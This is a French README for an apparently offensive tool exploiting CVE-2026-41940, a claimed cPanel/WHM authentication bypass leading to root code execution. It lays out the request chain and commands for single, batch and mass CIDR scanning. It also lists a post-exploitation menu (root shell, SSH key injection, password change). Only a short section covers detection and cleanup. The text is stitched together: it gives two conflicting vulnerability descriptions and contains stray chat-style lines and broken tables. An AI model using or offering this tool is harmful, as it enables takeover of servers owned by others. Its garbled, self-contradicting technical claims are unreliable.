
CVE-2026-41940 — Contournement d'authentification cPanel/WHM par Dr.Anach, injection CRLF dans le gestionnaire d'authentification Basic `cpsrvd` → accès non authentifié à l'API WHM → RCE en tant que root. Tous les cPanel depuis la v11.40 sont concernés.
Auteur : Dr.Anach | Contact : @dranach | Licence : MIT
Injection CRLF dans le gestionnaire d'authentification Basic de cpsrvd → accès API WHM non authentifié → RCE en tant que root. Toutes les versions de cPanel depuis la v11.40 sont concernées.
| # | Étape | Requête |
|---|---|---|
| 1 | Créer une session | GET /login/?user=root |
| 2 | Injection CRLF | Authorization: Basic <base64> — le mot de passe contient une charge utile \r\n |
| 3 | Promotion en cache | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Exécution | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
Voici le README.md final — convivial, pratique et axé sur l'efficacité.
Auteur : Dr.Anach · Telegram : @dranach
Version : 2.0.0
Licence : Réservé aux tests de sécurité autorisés
Exploite la CVE-2026-41940, un contournement d'authentification dans cPanel & WHM (versions 11.x à 106.x). La vulnérabilité permet à un attaquant non authentifié d'accéder à des points de terminaison restreints — y compris la fonction de réinitialisation de mot de passe — en envoyant un en-tête Host spécialement conçu pointant vers un serveur contrôlé par l'attaquant.
Comprend trois modes :
| Mode | Option | Fonction |
|---|---|---|
| Cible unique | -t |
requestspip install requests
Aucune autre dépendance. L'expansion CIDR utilise le module intégré ipaddress de Python — rien à installer en plus sur Windows.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
Format de targets.txt :
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
Cette commande développe 192.168.128.0/18 (16 384 IP), effectue une vérification rapide de port sur chacune, et ne tente l'exploitation que sur les hôtes dont le port 2087 (cPanel/WHM) est ouvert.
-t, --target Cible unique (IP ou domaine)
--batch FILE Fichier contenant les cibles (une par ligne)
--port-scan CIDR Plage CIDR à scanner (ex. : 192.168.128.0/18)
-p, --port Port cible (défaut : 2087)
--ssl Utiliser HTTPS (défaut : HTTP)
--timeout SEC Délai de connexion en secondes (défaut : 10)
--threads N Nombre maximal de threads concurrents (défaut : 50)
--proxy PROXY Proxy HTTP (ex. : http://127.0.0.1:8080)
-v, --verbose Sortie détaillée avec informations de débogage
--no-banner Masquer la bannière
--version Afficher la version
[+] 192.168.130.45:2087 — VULNÉRABLE !
→ URL de réinitialisation de mot de passe : http://192.168.130.45:2087/reset?token=abc123
→ Temps de réponse : 1.23s
[-] 192.168.131.10:2087 — Non vulnérable
→ Raison : aucun point de terminaison de réinitialisation de mot de passe trouvé
[!] 192.168.129.22:2087 — Erreur : Connexion refusée
Les résultats enregistrés au format JSON sont structurés par hôte avec l'état de vulnérabilité, les jetons extraits et les détails bruts des réponses.
Le scénario qui vous a probablement amené ici :
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
Comment cela fonctionne :
192.168.128.0/18 → 16 384 IP en interneConseils sur les threads :
--threads 100 fonctionne bien (respecte les limites de sockets par défaut)--threads 200--threads 30 et augmentez --timeoutCVSS 9.1 (Critique) — Aucune authentification requise, aucune interaction utilisateur, faible complexité.
Host côté serveurCet outil est réservé aux évaluations de sécurité autorisées uniquement. Vous devez posséder les cibles ou avoir l'autorisation écrite du propriétaire avant de tester. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
help Afficher les commandes
info Informations sur le serveur
passwd Changer le mot de passe
accounts Lister les comptes cPanel
enum Énumération complète
shell Exécuter une commande système
ssh-add Injecter une clé SSH
exec Exécuter un one-liner Python
exit Quitter
Vérifier les fichiers de session :
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Journaux suspects dans /usr/local/cpanel/logs/access_log :
/login/?user=root → création de session
/login/?user=root → injection CRLF
/cpsess*/login/?login_only=1 → promotion en cache
/cpsess*/execute/* → abus d'API
# 1. Appliquer le correctif vers la version corrigée
# 2. Faire pivoter tous les mots de passe et clés SSH
# 3. Purger les sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| Tester une IP ou un domaine |
| Fichier de liste | --batch | Charger une liste de cibles depuis un fichier |
| Scan CIDR | --port-scan | Étendre un sous-réseau et tester chaque hôte actif |